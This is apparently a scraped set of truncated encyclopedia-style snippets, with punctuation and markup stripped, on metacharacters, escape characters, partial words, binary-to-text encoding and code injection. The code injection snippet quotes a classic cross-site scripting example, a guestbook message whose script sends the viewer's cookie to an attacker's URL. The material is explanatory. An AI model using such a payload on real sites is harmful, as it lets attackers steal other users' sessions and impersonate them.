Unreferenced date December 2009 A metacharacter is a character that has a special meaning instead of a literal meaning to a computer program, such as a Operating system shell shell interpreter or a regular expression engine. Examples In some Unix shell s and Windows PowerShell , the tt tt semicolon character is a Comparison of programming languages syntax Statements statement separator . In many regular expression engines, the tt . tt dot character matches any character, not just a dot. In XML and HTML , the tt & tt ampersand character introduces an Character encodings in HTML HTML entity . In many programming language s, String computer science string s are Delimiter delimited using quote s. In some cases, escape character s and other methods are used to avoid String literal Delimiter collision delimiter collision . Example He said Hello . See also Delimiter Markup language Category Formal languages Category Pattern matching Category Programming language topics Prog lang stub de Metazeichen es Metacar cter hr Metaznak is L sistafur ... more details
A partial word is a String computer science string that may contain a number of do not know or do not care symbols i.e. placeholders in the string where the symbol value is not known or not specified. More formally, a partial word is a partial function math u 0, ldots, n 1 rightarrow A math where math A math is some finite alphabet. If u k is not defined for some math k in 0, ldots, n 1 math then the unknown element at place k in the string is called a hole . In regular expression s following the POSIX standard a hole is represented by the metacharacter . . For example, aab.ab.b is a partial word of length 8 over the alphabet A a , b in which the fourth and seventh characters are holes. ref http www.uncg.edu mat reu index.html Algorithmic Combinatorics on Words REU Bot generated title ref See also String computer science String References references Category Combinatorics on words Category Algorithms on strings Comp sci stub ... more details
Refimprove date April 2010 In computing and telecommunication , an escape character is a character computing character which invokes an alternative interpretation on subsequent characters in a character sequence. An escape character is a particular case of metacharacter s. Generally, the judgement of whether something is an escape character or not depends on context. Definition Escape characters are part of the formal syntax syntax for many programming languages, data formats and communication protocols. For a given alphabet computer science alphabet an escape character s purpose is to start character sequences so named escape sequences which have to be interpreted differently from the same characters occurring alone. An escape character may not have its own meaning, so all escape sequences are of 2 or more characters. There are usually two functions of escape sequences. The first is to encode a syntactic entity, such as device commands or special data which cannot be directly represented by the alphabet. The second use, referred to as character quoting , is to represent characters which cannot be typed in current context, or would have an undesired interpretation. In the latter case an escape sequence is a digraph computing digraph consisting of an escape character itself and a quoted character. Escape character vs control character Generally, an escape character is not a particular case of device control character s, nor vice versa. If we define control characters as non graphic character graphic , or as having a special meaning for an output device e.g. computer printer printer or text terminal then any escape character for this device is a control one. But escape characters used in programming see Programming and data formats below are graphic, hence are not control characters. Conversely most but not all of the ASCII control characters have some control function in isolation, therefore are not escape characters. Examples ASCII escape character See also Escape s ... more details
original research date April 2010 unreferenced date April 2010 A binary to text encoding is Character encoding encoding of data in plain text . More precisely, it is an encoding of binary data in a sequence of ASCII printable characters. These encodings are necessary for transmission of data when the channel or the protocol only allows ASCII printable characters, such as e mail or usenet . Pretty Good Privacy PGP documentation RFC 2440 uses the term ASCII armor for binary to text encoding when referring to Radix 64 . Description The ASCII text encoding standard uses 128 unique values 0 127 to represent the alphabetic, numeric, and punctuation characters commonly used in English language English , plus a selection of C0 and C1 control codes control codes which do not represent printable characters. For example, the capital letter A is ASCII character 65, the numeral 2 is ASCII 50, the character is ASCII 125, and the metacharacter carriage return is ASCII 13. Systems based on ASCII use seven bits to represent these values digitally. In contrast, most computers store data in memory organized in eight bit byte s. Files that contain machine executable code and non textual data typically contain all 256 possible eight bit byte values. Many computer programs came to rely on this distinction between seven bit text and eight bit binary data, and would not function properly if non ASCII characters appeared in data that was expected to include only ASCII text. For example, if the value of the eighth bit is not preserved, the program might interpret a byte value above 127 as a flag telling it to perform some function. It is often desirable, however, to be able to send non textual data through text based systems, such as when one might attach an image file to an e mail message. To accomplish this, the data is encoded in some way, such that eight bit data is encoded into seven bit ASCII characters generally using only alphanumeric and punctuation characters the ASCII ASCII printa ... more details
. For example, a dot is normally used as a wild card metacharacter to denote any character, but if preceded ... themselves e.g., code a code matches a . The exceptions, listed below, are called metacharacter s or metasequences. class wikitable Metacharacter Description valign top code . code Matches any single ... Extended Regular Expression ERE syntax. With this syntax, a backslash causes the metacharacter ... and the following metacharacters are added class wikitable Metacharacter Description valign ... more details
Multiple issues refimprove November 2008 examplefarm December 2010 Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce or inject code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worm s to propagate. Overview and example A web server has a guestbook script, which accepts small messages from users, and typically receives messages such as nowiki Very Nice site nowiki However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as nowiki Nice Site, I think I ll take it. script document.location http some attacker cookie.cgi? document.cookie script nowiki If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code. nowiki That post was awesome, nowiki Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. ref name HopeWalther Cite book last Hope first Paco author link Paco Hope last2 Walther first2 Ben author2 link Ben Walther title Web Security Testing Cookbook place publisher O Reilly Media, Inc. year 2008 location Sebastopol, CA volume edition page 254 url doi id isbn 978 0 596 51483 9 postscript None ref Classic examples of dangerous assumptions a software developer might make about the input to a program include assuming that metacharacter s for an API never occurs in an input e.g. assuming punctuation like quotation marks or semi colons would never appear assuming only numeric characters will be entered as input assuming the input will never exceed a certain size assuming that numeric values are within the upper and ... more details
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